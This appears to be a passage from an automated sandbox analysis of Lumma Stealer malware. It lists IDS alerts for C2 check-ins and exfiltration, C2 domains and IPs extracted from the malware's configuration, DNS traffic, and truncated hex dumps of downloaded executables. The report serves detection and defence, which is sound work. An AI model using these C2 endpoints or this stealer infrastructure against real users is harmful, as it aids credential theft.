Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50127 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50127 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50171 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50171 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50156 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50156 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50121 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50121 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50152 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50152 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50189 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50235 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50224 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 47

Source: global traffic	TCP traffic: 192.168.2.6:64231 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:57250 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:50354 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:57247 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:50357 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:01:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:01:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:01:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:01:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:01:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:02:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 00:02:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 